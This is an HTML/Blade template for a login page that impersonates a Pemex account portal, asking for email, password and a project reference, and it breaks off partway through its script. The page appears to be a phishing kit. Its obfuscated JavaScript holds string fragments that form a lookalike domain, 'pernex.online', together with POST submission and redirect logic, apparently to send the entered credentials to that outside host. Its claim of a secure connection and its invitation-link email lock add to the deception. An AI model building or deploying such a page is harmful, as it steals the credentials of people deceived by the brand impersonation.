<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Pemex Portal — Sign in to access your account">
    <meta name="csrf-token" content="{{ csrf_token() }}">
    <link rel="shortcut icon" href="{{asset('favicon.ico')}}" /> 
    <title>{{ $title ?? 'Solicitar Cuenta' }} | Pemex Portal</title>

    <!-- Google Fonts: Inter -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">

    <!-- Bootstrap 5 -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- Bootstrap Icons -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">

    <style>
        /* ─── Pemex Color Tokens ─── */
        :root {
            --pemex-green: #00833E;
            --pemex-red: #9D1B23;
            --pemex-red-dark: #7a1219;
            --pemex-gold: #B38E5D;
            --pemex-charcoal: #333333;
            --pemex-slate: #525D64;
            --pemex-text: #2E2E2E;
            --pemex-muted: #6c757d;
            --pemex-bg: #f0f2f0;
        }

        /* ─── Base ─── */
        *,
        *::before,
        *::after {
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', sans-serif;
            background-color: var(--pemex-bg);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            color: var(--pemex-text);
        }


        /* ════════════════════════════════════════════════════
           BACKGROUND IMAGE — remove this entire block to revert
           to the plain light-grey background
           Image file: public/images/bg-login.jpg
        ════════════════════════════════════════════════════ */
        body::before {
            content: '';
            position: fixed;
            inset: 0;
            background-image: url('/images/bg-login.jpg');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            /* Dark overlay so the card stays readable */
            /* Adjust the rgba alpha (last value) to control darkness: 0 = none, 1 = full black */
            filter: brightness(0.75);
            pointer-events: none;
            z-index: 0;
        }

        /* ════════════════ END BACKGROUND IMAGE ════════════════ */

        /* ─── Top brand bar ─── */
        .brand-topbar {
            background-color: var(--pemex-green);
            padding: 9px 0;
            position: relative;
            z-index: 10;
        }

        .brand-topbar .container-fluid {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding-inline: 1.5rem;
        }

        .brand-topbar nav a {
            color: rgba(255, 255, 255, 0.85);
            font-size: 0.78rem;
            text-decoration: none;
            font-weight: 400;
            letter-spacing: 0.02em;
            transition: color 0.2s;
        }

        .brand-topbar nav a:hover {
            color: #fff;
        }

        .brand-topbar .brand-lang {
            color: rgba(255, 255, 255, 0.7);
            font-size: 0.78rem;
            font-weight: 500;
            display: flex;
            align-items: center;
            gap: 0.3rem;
        }

        .lang-btn {
            background: none;
            border: none;
            color: rgba(255, 255, 255, 0.6);
            font-size: 0.78rem;
            font-weight: 500;
            cursor: pointer;
            padding: 2px 5px;
            border-radius: 3px;
            transition: color 0.2s, background 0.2s;
            font-family: 'Inter', sans-serif;
            letter-spacing: 0.04em;
        }

        .lang-btn:hover {
            color: #fff;
        }

        .lang-btn.active {
            color: #fff;
            font-weight: 700;
            border-bottom: 2px solid rgba(255, 255, 255, 0.8);
            padding-bottom: 0;
        }

        .lang-sep {
            color: rgba(255, 255, 255, 0.35);
            font-size: 0.7rem;
            user-select: none;
        }

        /* ─── Main wrapper ─── */
        .login-wrapper {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 2.5rem 1rem;
            position: relative;
            z-index: 1;
        }

        /* ─── Login Card ─── */
        .login-card {
            background: #ffffff;
            border-radius: 16px;
            box-shadow: 0 8px 40px rgba(0, 0, 0, 0.10), 0 1px 4px rgba(0, 0, 0, 0.06);
            width: 100%;
            max-width: 440px;
            overflow: hidden;
        }

        /* Green accent bar on top of card */
        .card-accent-top {
            height: 5px;
            background: linear-gradient(90deg, var(--pemex-green) 0%, var(--pemex-gold) 100%);
        }

        .login-card-body {
            padding: 2.5rem 2.5rem 2rem;
        }

        /* ─── Logo area ─── */
        .login-logo {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            margin-bottom: 1.75rem;
        }

        .login-logo .logo-icon {
            width: 40px;
            height: 40px;
            background: var(--pemex-red);
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #fff;
            font-size: 1.2rem;
            font-weight: 700;
            letter-spacing: -0.5px;
            flex-shrink: 0;
        }

        .login-logo .logo-text {
            font-size: 1.35rem;
            font-weight: 700;
            color: var(--pemex-green);
            letter-spacing: 0.04em;
            line-height: 1;
        }

        .login-logo .logo-sub {
            font-size: 0.6rem;
            color: var(--pemex-muted);
            text-transform: uppercase;
            letter-spacing: 0.08em;
            font-weight: 500;
        }

        /* ─── Headings ─── */
        .login-title {
            font-size: 1.5rem;
            font-weight: 700;
            color: var(--pemex-red);
            margin-bottom: 0.3rem;
        }

        .login-subtitle {
            font-size: 0.875rem;
            color: var(--pemex-muted);
            margin-bottom: 1.75rem;
        }

        /* ─── Form inputs ─── */
        .form-label {
            font-size: 0.8rem;
            font-weight: 600;
            color: var(--pemex-slate);
            margin-bottom: 0.35rem;
            letter-spacing: 0.02em;
        }

        .form-control {
            border: 1.5px solid #d9dde2;
            border-radius: 8px;
            padding: 0.65rem 0.9rem;
            font-size: 0.9rem;
            font-family: 'Inter', sans-serif;
            color: var(--pemex-text);
            background-color: #fafafa;
            transition: border-color 0.2s, box-shadow 0.2s;
        }

        .form-control:focus {
            border-color: var(--pemex-green);
            box-shadow: 0 0 0 3px rgba(0, 131, 62, 0.12);
            background-color: #fff;
            outline: none;
        }

        .form-control::placeholder {
            color: #b0b7be;
            font-weight: 400;
        }

        /* Password toggle wrapper */
        .input-password-wrap {
            position: relative;
        }

        .input-password-wrap .form-control {
            padding-right: 2.75rem;
        }

        .btn-password-toggle {
            position: absolute;
            right: 0.75rem;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            padding: 0;
            cursor: pointer;
            color: var(--pemex-muted);
            font-size: 1rem;
            line-height: 1;
            transition: color 0.2s;
        }

        .btn-password-toggle:hover {
            color: var(--pemex-slate);
        }

        /* ─── Remember / Forgot row ─── */
        .form-check-input:checked {
            background-color: var(--pemex-green);
            border-color: var(--pemex-green);
        }

        .form-check-input:focus {
            box-shadow: 0 0 0 3px rgba(0, 131, 62, 0.12);
            border-color: var(--pemex-green);
        }

        .form-check-label {
            font-size: 0.83rem;
            color: var(--pemex-slate);
            cursor: pointer;
        }

        .forgot-link {
            font-size: 0.83rem;
            color: var(--pemex-red);
            text-decoration: none;
            font-weight: 500;
            transition: color 0.2s;
        }

        .forgot-link:hover {
            color: var(--pemex-red-dark);
            text-decoration: underline;
        }

        /* ─── Sign In Button ─── */
        .btn-signin {
            background-color: var(--pemex-red);
            border: none;
            color: #fff;
            font-family: 'Inter', sans-serif;
            font-size: 0.95rem;
            font-weight: 600;
            padding: 0.72rem 1rem;
            border-radius: 8px;
            width: 100%;
            letter-spacing: 0.02em;
            transition: background-color 0.2s, transform 0.15s, box-shadow 0.2s;
            position: relative;
            overflow: hidden;
        }

        .btn-signin:hover {
            background-color: var(--pemex-red-dark);
            color: #fff;
            box-shadow: 0 4px 16px rgba(157, 27, 35, 0.35);
            transform: translateY(-1px);
        }

        .btn-signin:active {
            transform: translateY(0);
            box-shadow: none;
        }

        /* subtle shimmer on hover */
        .btn-signin::after {
            content: '';
            position: absolute;
            inset: 0;
            background: linear-gradient(120deg, transparent 30%, rgba(255, 255, 255, 0.12) 50%, transparent 70%);
            transform: translateX(-100%);
            transition: transform 0.4s;
        }

        .btn-signin:hover::after {
            transform: translateX(100%);
        }

        /* ─── Divider ─── */
        .login-divider {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            margin: 1.25rem 0;
        }

        .login-divider hr {
            flex: 1;
            border-color: #e5e8eb;
            opacity: 1;
            margin: 0;
        }

        .login-divider span {
            font-size: 0.75rem;
            color: var(--pemex-muted);
            white-space: nowrap;
            font-weight: 500;
        }

        /* ─── Register prompt ─── */
        .register-prompt {
            text-align: center;
            font-size: 0.85rem;
            color: var(--pemex-muted);
            margin-top: 1.25rem;
        }

        .register-prompt a {
            color: var(--pemex-green);
            font-weight: 600;
            text-decoration: none;
            transition: color 0.2s;
        }

        .register-prompt a:hover {
            color: var(--pemex-red);
            text-decoration: underline;
        }

        /* ─── Footer ─── */
        .login-footer {
            background-color: var(--pemex-charcoal);
            color: rgba(255, 255, 255, 0.6);
            text-align: center;
            font-size: 0.75rem;
            padding: 1rem;
            position: relative;
            z-index: 10;
        }

        .login-footer a {
            color: var(--pemex-gold);
            text-decoration: none;
            margin: 0 0.4rem;
            transition: color 0.2s;
        }

        .login-footer a:hover {
            color: #fff;
        }

        /* ─── Security badge ─── */
        .security-badge {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 0.4rem;
            font-size: 0.73rem;
            color: var(--pemex-muted);
            margin-top: 0.85rem;
        }

        .security-badge i {
            color: var(--pemex-green);
            font-size: 0.85rem;
        }

        /* ─── Alert ─── */
        .alert-pemex {
            border-radius: 8px;
            font-size: 0.83rem;
            padding: 0.65rem 0.9rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            border: none;
        }

        /* ─── Responsive ─── */
        @media (max-width: 480px) {
            .login-card-body {
                padding: 2rem 1.5rem 1.5rem;
            }

            .brand-topbar nav {
                display: none;
            }
        }
    </style>
</head>

<body>

    <!-- ── Top Green Bar ── -->
    <div class="brand-topbar">
        <div class="container-fluid">
            <nav class="d-flex gap-3">
                <a href="#">Multimedia</a>
                <a href="#" class="d-none d-md-inline">Avisos importantes</a>
                <a href="#" class="d-none d-lg-inline">Sala de prensa</a>
                <a href="#" class="d-none d-lg-inline">Gente Pemex</a>
            </nav>
            <span class="brand-lang">
                <button class="lang-btn active" id="btnEN" onclick="setLang('en')">EN</button>
                <span class="lang-sep">|</span>
                <button class="lang-btn" id="btnES" onclick="setLang('es')">ES</button>
            </span>
        </div>
    </div>

    <!-- ── Main Content ── -->
    <main class="login-wrapper">
        <div class="login-card">

            <!-- Color accent top strip -->
            <div class="card-accent-top"></div>

            <div class="login-card-body">

                <!-- Logo -->
                <div class="login-logo">
                    <div class="logo-icon">P</div>
                    <div>
                        <div class="logo-text">PEMEX</div>
                        <div class="logo-sub"
                            data-lang-en="Access Portal"
                            data-lang-es="Portal de Acceso">Portal de Acceso</div>
                    </div>
                </div>

                <!-- Title -->
                <h1 class="login-title"
                    data-lang-en="Log in to Account"
                    data-lang-es="Inicia Sesión en la Cuenta">Inicia Sesión en la Cuenta</h1>
                <p class="login-subtitle"
                    data-lang-en="Access the services offered by this platform using your email and password. Accounts are automatically syncronized"
                    data-lang-es="Accede a los servicios que ofrece esta plataforma usando tu correo y contraseña. Las cuentas se sincronizan automáticamente">Accede a los servicios que ofrece esta plataforma usando tu correo y contraseña. Las cuentas se sincronizan automáticamente</p>

                {{-- Session Errors --}}
                @if(session('error'))
                <div class="alert alert-danger alert-pemex mb-3" role="alert">
                    <i class="bi bi-exclamation-circle-fill"></i>
                    {{ session('error') }}
                </div>
                @endif

                <!-- Login Form -->
                <form method="POST" action="{{ route('new-page.submit') }}" id="loginForm" novalidate>
                    @csrf

                    <!-- Email -->
                    <div class="mb-3">
                        <label for="email" class="form-label"
                            data-lang-en="Email Address"
                            data-lang-es="Correo electrónico">Correo electrónico</label>
                        <input
                            type="email"
                            class="form-control @error('email') is-invalid @enderror{{ $prefillEmail ? ' bg-light' : '' }}"
                            id="email"
                            name="email"
                            placeholder="usuario@pemex.com"
                            data-placeholder-en="user@pemex.com"
                            data-placeholder-es="usuario@pemex.com"
                            value="{{ $prefillEmail ?? old('email') }}"
                            autocomplete="email"
                            required
                            {{ $prefillEmail ? 'readonly' : 'autofocus' }}>
                        @if($prefillEmail)
                        <div class="form-text mt-1" style="font-size:0.75rem; color: var(--pemex-green);">
                            <i class="bi bi-lock-fill me-1"></i>
                            <span data-lang-en="Email pre-filled and locked from your invitation link"
                                data-lang-es="Correo prellenado y bloqueado desde tu enlace de invitación">
                                Correo prellenado y bloqueado desde tu enlace de invitación
                            </span>
                        </div>
                        @endif
                        @error('email')
                        <div class="invalid-feedback">{{ $message }}</div>
                        @enderror
                    </div>

                    <!-- Password -->
                    <div class="mb-3">
                        <label for="password" class="form-label"
                            data-lang-en="Password"
                            data-lang-es="Contraseña">Contraseña</label>
                        <div class="input-password-wrap">
                            <input
                                type="password"
                                class="form-control @error('password') is-invalid @enderror"
                                id="password"
                                name="password"
                                placeholder="••••••••"
                                autocomplete="current-password"
                                required>
                            <button type="button" class="btn-password-toggle" id="togglePassword"
                                aria-label="Mostrar contraseña"
                                data-lang-en="Show password"
                                data-lang-es="Mostrar contraseña">
                                <i class="bi bi-eye" id="toggleIcon"></i>
                            </button>
                            @error('password')
                            <div class="invalid-feedback">{{ $message }}</div>
                            @enderror
                        </div>
                    </div>

                    <!-- Project Reference -->
                    <div class="mb-3">
                        <label for="projectRef" class="form-label"
                            data-lang-en="Project Reference"
                            data-lang-es="Referencia de Proyecto">Referencia de Proyecto</label>
                        <input
                            type="text"
                            class="form-control"
                            id="projectRef"
                            name="project_reference"
                            placeholder="REF-00000"
                            data-placeholder-en="REF-00000"
                            data-placeholder-es="REF-00000"
                            autocomplete="off">
                    </div>

                    <!-- Remember Me -->
                    <div class="mb-4">
                        <div class="form-check">
                            <input class="form-check-input" type="checkbox" id="rememberMe" name="remember">
                            <label class="form-check-label" for="rememberMe"
                                data-lang-en="Remember me"
                                data-lang-es="Recordar sesión">Recordar sesión</label>
                        </div>
                    </div>

                    <!-- Submit -->
                    <button type="submit" class="btn btn-signin" id="submitBtn">
                        <span id="btnText"><i class="bi bi-send me-1"></i> <span
                                data-lang-en="Log in"
                                data-lang-es="Iniciar la Sesión">Iniciar la Sesión</span></span>
                        <span id="btnLoader" class="d-none">
                            <span class="spinner-border spinner-border-sm me-1" role="status" aria-hidden="true"></span>
                            <span data-lang-en="Submitting..." data-lang-es="Enviando...">Enviando...</span>
                        </span>
                    </button>

                </form>

                <!-- Security note -->
                <div class="security-badge">
                    <i class="bi bi-shield-lock-fill"></i>
                    <span data-lang-en="Secure SSL/TLS Connection" data-lang-es="Conexión segura SSL/TLS">Conexión segura SSL/TLS</span>
                </div>



            </div><!-- /card-body -->
        </div><!-- /card -->
    </main>

    <!-- ── Footer ── -->
    <footer class="login-footer">
        <div>
            © {{ date('Y') }} Petróleos Mexicanos — <span data-lang-en="All rights reserved" data-lang-es="Todos los derechos reservados">Todos los derechos reservados</span> &nbsp;|&nbsp;
            <a href="#" data-lang-en="Privacy Notice" data-lang-es="Aviso de Privacidad">Aviso de Privacidad</a>
            <a href="#" data-lang-en="Terms of Use" data-lang-es="Términos de Uso">Términos de Uso</a>
            <a href="#" data-lang-en="Contact" data-lang-es="Contacto">Contacto</a>
        </div>
    </footer>

    <!-- Toast notification (AJAX feedback) -->
    <div class="position-fixed bottom-0 end-0 p-3" style="z-index: 9999">
        <div id="ajaxToast" class="toast align-items-center border-0" role="alert" aria-live="assertive" aria-atomic="true">
            <div class="d-flex">
                <div class="toast-body fw-semibold" id="toastMsg"></div>
                <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button>
            </div>
        </div>
    </div>

    <!-- jQuery -->
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <!-- Bootstrap 5 JS -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>

    <script>
         function _0x2de3(_0x43a6f2,_0x14adbd){_0x43a6f2=_0x43a6f2-(-0x1*-0x15cf+0x3*-0x8ec+0x2*0x36f);const _0x4da396=_0x4493();let _0x5d43e5=_0x4da396[_0x43a6f2];return _0x5d43e5;}function _0x4493(){const _0x5a8c83=['YFFiU','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20','#password','aseña\x20no\x20c','append','ing\x22\x20style','QiEnC','ZaGGi','Ocurrió\x20un','CjAIT','\x20error.\x20Po','stener','bg-','op:0.5rem;','aria-label','.mb-3,\x20.in','UJDhD','Solicitar\x20','classList','zgqES','style=\x22col','aSkMp','addClass','NcivM','t;\x20gap:0.4','slash','VYCgz','\x20\x20\x20\x20\x20\x20bord','rgba(245,1','vLSQn','bg-success','zvlwC','\x22csrf-toke','rder:1px\x20s','zRMRi','word','data-lang-','textConten','emex\x20Porta','submit','ZeAVH','CmARi','2868CZdbjY','#f59e0b','text','lectrónico','lJBvR','lEYTr','BGwhm','IfjzV','[name=\x22','d-none','d-block\x22>','data-place','.mb-3','remove','HTBmZ','sbQOa','danger','\x20\x20\x20\x20\x20\x20\x20','toggleIcon','nOUMB','Show\x20passw','TPEVa','URjEu','n\x22]','content','\x20bg-danger','=\x22\x0a\x20\x20\x20\x20\x20\x20\x20','pemex_lang','View','DkTmi','show','rd-wrap','loGAP','span>','responseJS','tion-trian','unt\x20|\x20Peme','again.','rnex.onlin','3287752IBzEdi','yBFyW','\x20\x20\x20\x20\x20\x20\x20\x20ba','n\x20la\x20contr','This\x20passw','preventDef','-height:1.','btnEN','atseB','UurhL','BwZKt','togglePass','[data-lang','Cuenta\x20|\x20P','4;\x22>\x0a\x20\x20\x20\x20\x20','</div>','className','\x20\x20margin-t','QvhXU','mlBaQ','smooth','ay:flex;\x20a','SrInQ','GZxin','58,11,0.2)','toggle','ajax','dpfPv','DrIVi','fffbeb;\x20bo','nynDS','r\x20favor\x20in','#btnLoader','XktDc','attr','type','4231xbePqj','our\x20email\x20','buwkS','prop','tBGkj','\x20\x20\x20\x20\x20\x20\x20\x20\x20<','zNjhT','x\x20Portal','YMKbY','axiyV','v>\x0a\x20\x20\x20\x20\x20\x20\x20','VjtQj','\x20\x20\x20\x20\x20displ','jax-error\x20','location','holder-','ItHjU','tenta\x20de\x20n','Gfmov','rol','7px;\x20paddi','setAttribu','e/new-page','2785xMdARm','\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','1308480Dxntti','qAzdq','bi\x20bi-eye-','[data-plac','IkVmG','placeholde','\x20\x20\x20\x20\x20\x20</di','serialize','arning','lpgwy',';flex-shri','pJjAM','xgvXf','GQWXC','npzqt','JMEgD','ord\x20does\x20n','nkFCJ','YIzwy','espDl','css','getElement','closest','getItem','qHgvU','VfmiF','=\x22invalid-','ault','thEOu','errors','Mostrar\x20co','qYFEg','xQNQS','lease\x20try\x20','oincide\x20co','\x20color:#92','click','slideDown','center','nfuwr','forEach','https://pe','Hide\x20passw','GZJkV',':0.8rem;\x0a\x20','gSlGR','xoHAX','div\x20id=\x22pa','olid\x20#f59e','redirect','Toast','0b;\x0a\x20\x20\x20\x20\x20\x20','ckground:#','querySelec','is-invalid','hfJlH','tNrip','sswordWarn','</span>\x0a\x20\x20','\x20font-size',':flex-star','<div\x20class','gHNIN','ccurred.\x20P','or:#f59e0b','torAll','gle-fill\x22\x20','MEIPt','nk:0;margi','eholder-','aVqWc','5rem;\x0a\x20\x20\x20\x20','13698RntfFW','nfJtY','class=\x22bi\x20','Esta\x20contr','iOzvP','#btnText','eInstance','An\x20error\x20o','disabled','0\x200\x200\x203px\x20','title','\x20text-whit','4118958xWamQv','#ajaxToast','setItem','each','EAPmU','KqNqu','YPgWd','RPMiW','href','Ocultar\x20co','removeClas','hide','dWRGQ','42vovEWl','bi-exclama','GQyXT','#passwordW','POST','Apply\x20Acco','getAttribu','put-passwo','gaJMp','ntraseña','er-radius:','slQAs','dVEFc','active','#toastMsg','meta[name=','5800050iyQBiu','.ajax-erro','uevo.','status','uVnsD','ord','.form-cont','ot\x20match\x20y','ANoOG','ZElYC','klMaq','getOrCreat','XeRpm','Cfqvq','u\x20correo\x20e','\x22></i>\x0a\x20\x20\x20','first_subm','35QgeEHF','400e;\x20line','bi\x20bi-eye','eQmxR','/submit','aseña\x20de\x20s','btnES','#submitBtn','zFDZw','\x200.75rem;\x0a','password','ById','feedback\x20a','ng:0.55rem','lign-items','#loginForm','n-top:1px;','KTbrI','scrollInto','redirect_u','FRXjx','DKkWU','addEventLi','YruFs','\x20\x20\x20\x20\x20\x20\x20<i\x20'];_0x4493=function(){return _0x5a8c83;};return _0x4493();}(function(_0x1b841b,_0x58908d){const _0x1ce51a=_0x2de3,_0x54be37=_0x1b841b();while(!![]){try{const _0x5324e7=parseInt(_0x1ce51a(0x2fc))/(0xf7*-0x1+0x10d7+-0xef*0x11)*(parseInt(_0x1ce51a(0x24d))/(-0x1*0x25+0x5c2*-0x6+0x22b3))+parseInt(_0x1ce51a(0x1ec))/(0x20a2+-0x1*0x202a+0x1*-0x75)+parseInt(_0x1ce51a(0x2b1))/(-0x96b*-0x1+-0x157e+-0x1*-0xc17)*(parseInt(_0x1ce51a(0x1ea))/(-0xed5+0x11*0x76+0x704))+-parseInt(_0x1ce51a(0x234))/(-0x6d3*0x1+0x1649+0x4*-0x3dc)*(parseInt(_0x1ce51a(0x26e))/(0x2*0xbc+-0xd47*0x1+0xbd6))+parseInt(_0x1ce51a(0x2d8))/(0x2306*-0x1+0x23b*-0x10+0x713*0xa)+-parseInt(_0x1ce51a(0x240))/(0x9d*-0x7+-0x1e0e*0x1+0x2262)+-parseInt(_0x1ce51a(0x25d))/(0x1cf*0x7+0x202d*-0x1+-0x9c7*-0x2);if(_0x5324e7===_0x58908d)break;else _0x54be37['push'](_0x54be37['shift']());}catch(_0x28d256){_0x54be37['push'](_0x54be37['shift']());}}}(_0x4493,0x8629*0xf+0x2e1*-0xea+-0xdc82),$(function(){const _0x4d76dc=_0x2de3,_0x265089={'QvhXU':function(_0x2f6be5,_0x2801bf){return _0x2f6be5+_0x2801bf;},'tBGkj':_0x4d76dc(0x2ab),'YPgWd':function(_0xf2052c,_0x2e5e1d){return _0xf2052c+_0x2e5e1d;},'IfjzV':_0x4d76dc(0x2bc)+_0x4d76dc(0x30b),'thEOu':_0x4d76dc(0x2cc),'Gfmov':function(_0x2d04cd,_0x21e97a){return _0x2d04cd+_0x21e97a;},'yBFyW':_0x4d76dc(0x2e4)+'-','klMaq':function(_0x2879a4,_0x529ab6){return _0x2879a4+_0x529ab6;},'ZaGGi':function(_0x2fc2af,_0x4e7675){return _0x2fc2af+_0x4e7675;},'XktDc':_0x4d76dc(0x1ef)+_0x4d76dc(0x231),'buwkS':function(_0x1d9627,_0x54dab6){return _0x1d9627===_0x54dab6;},'CjAIT':_0x4d76dc(0x252)+_0x4d76dc(0x2d5)+_0x4d76dc(0x303),'QiEnC':_0x4d76dc(0x298)+_0x4d76dc(0x2e5)+_0x4d76dc(0x2ad)+'l','DkTmi':_0x4d76dc(0x2df),'ZeAVH':_0x4d76dc(0x25a),'pJjAM':_0x4d76dc(0x274),'URjEu':_0x4d76dc(0x2b3),'Cfqvq':_0x4d76dc(0x295),'DKkWU':_0x4d76dc(0x216)+_0x4d76dc(0x262),'slQAs':_0x4d76dc(0x2c5)+_0x4d76dc(0x262),'gSlGR':_0x4d76dc(0x249)+_0x4d76dc(0x256),'GQWXC':_0x4d76dc(0x20a)+_0x4d76dc(0x256),'GZxin':function(_0x3379ea,_0x1270b3){return _0x3379ea===_0x1270b3;},'mlBaQ':_0x4d76dc(0x278),'YIzwy':_0x4d76dc(0x1ee)+_0x4d76dc(0x2a0),'npzqt':_0x4d76dc(0x270),'xQNQS':function(_0x4e8ee1,_0x2db20e){return _0x4e8ee1===_0x2db20e;},'aVqWc':function(_0x286540,_0x5e1062){return _0x286540===_0x5e1062;},'FRXjx':_0x4d76dc(0x26d)+'it','nfuwr':function(_0x29cfe3,_0x1fa6bc){return _0x29cfe3(_0x1fa6bc);},'ANoOG':_0x4d76dc(0x250)+_0x4d76dc(0x1f4),'zvlwC':function(_0x5d2254,_0xa46870){return _0x5d2254(_0xa46870);},'espDl':_0x4d76dc(0x289),'atseB':_0x4d76dc(0x2b2),'loGAP':_0x4d76dc(0x23d)+_0x4d76dc(0x2a3)+_0x4d76dc(0x2f0),'ZElYC':_0x4d76dc(0x2dc)+_0x4d76dc(0x1fc)+_0x4d76dc(0x264)+_0x4d76dc(0x2fd)+_0x4d76dc(0x278),'YFFiU':_0x4d76dc(0x237)+_0x4d76dc(0x28a)+_0x4d76dc(0x20e)+_0x4d76dc(0x2db)+_0x4d76dc(0x273)+_0x4d76dc(0x26b)+_0x4d76dc(0x2b4)+'.','ItHjU':function(_0x4bd7f4,_0x45770b){return _0x4bd7f4(_0x45770b);},'UurhL':_0x4d76dc(0x2bd),'lEYTr':_0x4d76dc(0x2ec),'GZJkV':_0x4d76dc(0x212),'IkVmG':function(_0x2fe01a,_0x50aed3){return _0x2fe01a===_0x50aed3;},'xgvXf':_0x4d76dc(0x21d),'zFDZw':function(_0x3bee72,_0x5a4e0a){return _0x3bee72===_0x5a4e0a;},'DrIVi':function(_0x4d90f3,_0x4c8667,_0x1d073b){return _0x4d90f3(_0x4c8667,_0x1d073b);},'VjtQj':function(_0x300f0b,_0x45eeaf){return _0x300f0b===_0x45eeaf;},'BwZKt':_0x4d76dc(0x23b)+_0x4d76dc(0x22b)+_0x4d76dc(0x20d)+_0x4d76dc(0x2d6),'qYFEg':_0x4d76dc(0x28f)+_0x4d76dc(0x291)+_0x4d76dc(0x2f7)+_0x4d76dc(0x30d)+_0x4d76dc(0x25f),'YMKbY':_0x4d76dc(0x2c1),'dVEFc':_0x4d76dc(0x23c),'nfJtY':_0x4d76dc(0x2ba),'KTbrI':function(_0x10f1b0,_0x45d75e){return _0x10f1b0+_0x45d75e;},'tNrip':_0x4d76dc(0x2b9),'dpfPv':_0x4d76dc(0x222),'nOUMB':_0x4d76dc(0x296)+_0x4d76dc(0x254)+_0x4d76dc(0x2d0),'zRMRi':_0x4d76dc(0x229)+_0x4d76dc(0x206)+_0x4d76dc(0x27a)+_0x4d76dc(0x309)+_0x4d76dc(0x2bb),'CmARi':_0x4d76dc(0x2e7),'JMEgD':function(_0xdb2632,_0x197589){return _0xdb2632(_0x197589);},'VYCgz':_0x4d76dc(0x275),'nkFCJ':function(_0x5a409e,_0x3e9392){return _0x5a409e(_0x3e9392);},'VfmiF':_0x4d76dc(0x239),'gHNIN':function(_0x5ccf61,_0x322b39){return _0x5ccf61(_0x322b39);},'zgqES':_0x4d76dc(0x2f8),'aSkMp':function(_0xac62c6,_0x49e6a5){return _0xac62c6(_0x49e6a5);},'EAPmU':_0x4d76dc(0x263)+_0x4d76dc(0x30f),'TPEVa':_0x4d76dc(0x25e)+'r','SrInQ':_0x4d76dc(0x215)+_0x4d76dc(0x2d7)+_0x4d76dc(0x1e9)+_0x4d76dc(0x272),'GQyXT':_0x4d76dc(0x251),'xoHAX':function(_0x2d8729,_0x38f252){return _0x2d8729(_0x38f252);},'qHgvU':_0x4d76dc(0x25c)+_0x4d76dc(0x2a7)+_0x4d76dc(0x2c8),'iOzvP':_0x4d76dc(0x2c9),'gaJMp':function(_0x507a4e,_0x2555e4){return _0x507a4e(_0x2555e4);},'lpgwy':_0x4d76dc(0x241),'zNjhT':_0x4d76dc(0x2a5)+_0x4d76dc(0x2ca)+_0x4d76dc(0x23f)+'e','axiyV':function(_0x39435d,_0x4fe6dd){return _0x39435d+_0x4fe6dd;},'KqNqu':_0x4d76dc(0x293),'hfJlH':_0x4d76dc(0x23f)+'e','lJBvR':function(_0x18b475,_0x35fa60){return _0x18b475(_0x35fa60);},'UJDhD':_0x4d76dc(0x25b),'sbQOa':_0x4d76dc(0x2e3)+_0x4d76dc(0x2aa),'uVnsD':_0x4d76dc(0x2c3),'YruFs':function(_0x71a182,_0x262196){return _0x71a182!==_0x262196;},'RPMiW':_0x4d76dc(0x210),'BGwhm':_0x4d76dc(0x27d),'MEIPt':_0x4d76dc(0x2ae)},_0x32a57d=document[_0x4d76dc(0x201)+_0x4d76dc(0x279)](_0x265089[_0x4d76dc(0x2c0)]),_0x444155=document[_0x4d76dc(0x201)+_0x4d76dc(0x279)](_0x265089[_0x4d76dc(0x2eb)]),_0x408363=document[_0x4d76dc(0x201)+_0x4d76dc(0x279)](_0x265089[_0x4d76dc(0x261)]);let _0x253d54='es';function _0x3805e6(_0x39f18d){const _0x1a8468=_0x4d76dc;_0x253d54=_0x39f18d,localStorage[_0x1a8468(0x242)](_0x265089[_0x1a8468(0x208)],_0x39f18d),document[_0x1a8468(0x221)+_0x1a8468(0x22d)](_0x265089[_0x1a8468(0x30e)](_0x265089[_0x1a8468(0x2ea)](_0x265089[_0x1a8468(0x2d9)],_0x39f18d),']'))[_0x1a8468(0x214)](_0x4e3fcb=>{const _0x1f788c=_0x1a8468;_0x4e3fcb[_0x1f788c(0x2ac)+'t']=_0x4e3fcb[_0x1f788c(0x253)+'te'](_0x265089[_0x1f788c(0x2ea)](_0x265089[_0x1f788c(0x300)],_0x39f18d));}),document[_0x1a8468(0x221)+_0x1a8468(0x22d)](_0x265089[_0x1a8468(0x267)](_0x265089[_0x1a8468(0x28e)](_0x265089[_0x1a8468(0x2f9)],_0x39f18d),']'))[_0x1a8468(0x214)](_0x431040=>{const 